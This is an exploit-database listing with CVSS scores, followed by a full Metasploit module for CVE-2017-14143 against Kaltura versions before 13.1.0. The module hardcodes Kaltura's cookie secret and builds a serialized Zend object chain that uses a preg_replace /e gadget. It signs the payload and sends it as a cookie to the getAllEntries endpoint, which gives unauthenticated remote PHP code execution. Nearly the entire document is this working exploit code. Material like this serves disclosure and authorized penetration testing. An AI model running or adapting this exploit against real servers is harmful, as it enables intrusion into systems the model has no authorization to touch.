Kaltura Remote PHP Code Execution

2018.01.24
Credit: Mehmet Ince
Risk: High
Local: No
Remote: Yes
CWE: CWE-798


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking CookieSecret = 'y3tAno3therS$cr3T' include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Kaltura Remote PHP Code Execution over Cookie', 'Description' => %q{ This module exploits an Object Injection vulnerability in Kaltura. By exploiting this vulnerability, unauthenticated users can execute arbitrary code under the context of the web server user. Kaltura makes use of a hardcoded cookie secret which allows to sign arbitrary cookie data. After passing this signature check, the base64- decoded data is passed to PHPs unserialize() function which allows for code execution. The constructed object is again based on the SektionEins Zend code execution POP chain PoC. Kaltura versions prior to 13.1.0 are affected by this issue. A valid entry_id (which is required for this exploit) can be obtained from any media resource published on the kaltura installation. This module was tested against Kaltura 13.1.0-2 installed on Ubuntu 14.04. }, 'License' => MSF_LICENSE, 'Author' => [ 'Robin Verton <hello@robinverton.de>', 'Mehmet Ince <mehmet@mehmetince.net>' # first kaltura rce module ], 'References' => [ ['CVE', '2017-14143'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['Automatic', {}] ], 'DisclosureDate' => 'Sep 12 2017', 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/']), OptString.new('ENTRYID', [true, 'Valid entry ID of any media resource (example: 0_lahha4c9)', '']) ] ) end def check r = rand_text_alpha(15 + rand(4)) entry_id = datastore['ENTRYID'] cmd = "print_r(#{r}).die()" p = "" p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";" p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";" p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";" p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";" p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";" p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";" p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}" encoded = Rex::Text.encode_base64(p) hash = Rex::Text.md5("#{encoded}#{CookieSecret}") res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'), 'vars_get' => { 'list_type' => '15', 'entry_id' => entry_id }, 'cookie' => "userzone=#{encoded}#{hash}" ) if res && res.redirect? print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}") Exploit::CheckCode::Safe elsif res && res.body.include?(r) Exploit::CheckCode::Vulnerable elsif !check_entryid print_error("Invalid ENTRYID") Exploit::CheckCode::Safe else Exploit::CheckCode::Safe end end def check_entryid entry_id = datastore['ENTRYID'] res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'), 'vars_get' => { 'list_type' => '15', 'entry_id' => entry_id } ) return res.body.include? entry_id end def exploit entry_id = datastore['ENTRYID'] cmd = "print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()" p = "" p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";" p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";" p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";" p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";" p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";" p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";" p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}" encoded = Rex::Text.encode_base64(p) hash = Rex::Text.md5("#{encoded}#{CookieSecret}") res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'), 'vars_get' => { 'list_type' => '15', 'entry_id' => entry_id }, 'cookie' => "userzone=#{encoded}#{hash}" ) if res && res.redirect? print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}") elsif res && res.code != 200 print_error('Unexpected response...') else print_status("Output: #{res.body}") end end end


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